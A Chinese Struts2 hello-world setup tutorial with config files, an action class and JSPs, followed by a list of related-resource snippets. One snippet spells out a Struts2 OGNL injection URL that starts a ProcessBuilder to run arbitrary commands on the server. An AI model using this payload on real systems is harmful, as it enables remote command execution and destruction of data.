1.建立新project Structs2
2.在web.xml中加入一下代码
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
3.建立my.struts2.web.HelloWorldAction类
package my.struts2.web;
import com.opensymphony.xwork2.ActionSupport;
public class HelloWorldAction extends ActionSupport{
public String execute() {
name = "Hello, " + name + "!";
return SUCCESS;
}
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
4.在my.struts2.web包下建立struts_hello.xml文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<include file="struts-default.xml"/>
<package name="tutorial" extends="struts-default">
<action name="hwAction" class="my.struts2.web.HelloWorldAction">
<result>HelloWorld.jsp</result>
</action>
</package>
</struts>
5.在类根目录下建立struts.xml(和log4j.properties配置文件同一个目录)
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<constant name="struts.devMode" value="true" />
<include file="my/struts2/web/struts_hello.xml"/>
</struts>
6.建立sayHello.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Say Hello</title>
</head>
<body>
<h3>Say "Hello" to: </h3>
<s:form action="hwAction">
Name: <s:textfield name="name" />
<s:submit/>
</s:form>
</body>
</html>
7.建立HelloWorld.jsp
<%@ page contentType="text/html; charset=UTF-8" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Hello</title>
</head>
<body>
<h3><s:property value="name" /> </h3>
<h3>Congratulations!!!!! </h3>
</body>
</html>
8.用到的jar包有
如果项目中不使用freemarker可以在struts2-core-2.1.8.1.jar包中找到structs-default.xml中的
<bean class="org.apache.struts2.views.freemarker.FreemarkerManager" name="struts" />
这段配置后注解掉就Ok,其他无用的包可以依次类推。
以上是strcuts2.0的基本配置。
- 大小: 4.7 KB
分享到:
相关推荐
是个很不错的struts经典教材,大家可以看看先
Struts Kick Start.pdf
Struts Kick Start-pdf.pdf
很不错的struts2介绍,通俗易懂,易于上手
用户可以构造http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}链接,command goes here可以换成是破坏脚本的...
jar包:项目中除了使用了struts2,hibernate3.0和spring1.8以外(用spring2.0的包也可以.不能低于1.8的包.)还是用了junit,ajax,第三方的table组件.等等.所以需要下载相对应的包. 为了上传jar.我专门申请了一个网盘.所有...
快速创建一个Struts应用程序,指导你如何建立一个较好的Web应用程序。
java-struts2.2的驱动包 2009-8-29 14:02:04 org.apache.catalina.core.AprLifecycleListener init 信息: The APR based Apache Tomcat Native library which allows optimal performance in production ...
黑暗浪子写的struts2讲义,很全面、细致。
word文档。 <br>本实例是本人按照Struts Kick Start中的HelloWorld范例在做的,并进行了一些改进。开发工具是:eclipse 3.2.2 + myeclipse 5.1.1。下面按部就班的说明步骤: ……
start2核心配置文件:包括默认的加载的配置
别再迟疑,努力学习,要利用没一秒钟,赶快下载吧。
软件架构: EJB3.0 + Struts1.3 + Spring2.0 + JPA 应用服务器: Jboss5.1 数据库用: Oracle9i 部署前将 demo-service.xml和oracle-ds.xml copy到jboss deploy目录下,配置到你...start with 2 increment by 1 cache 20;
由于自己在整合的时候被严重: Error listenerStart这个问题足足困扰了两天,今天终于成功了,所以写了这个文档,希望对大家有所帮助。 注意:里面有个jar包是冲突的,大家下载后把asm-2.2.3.jar删掉,在重新部署一下...
由于自己在整合的时候被严重: Error listenerStart这个问题足足困扰了两天,今天终于成功了,所以写了这个文档,希望对大家有所帮助。 注意:里面有个jar包是冲突的,大家下载后把asm-2.2.3.jar删掉,在重新部署一下...
example2包 Treeone.jsp AjaxTree.ftl(这里是换了个地方才可以的,放到WEB-INF下不行,因为配置文件会找不到) AjaxTree.jsp template.realajax包 AjaxTreeTheme.jsp (例子三) 配置dwr.xml和web.xml 运行 ...
NULL 博文链接:https://sun123start.iteye.com/blog/1883196
封装通用的Spring3+Struts2+MyBatis3的CRUD+条件分页查询,Spring+Quartz调度,FunctionCharts图像化工具 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context=...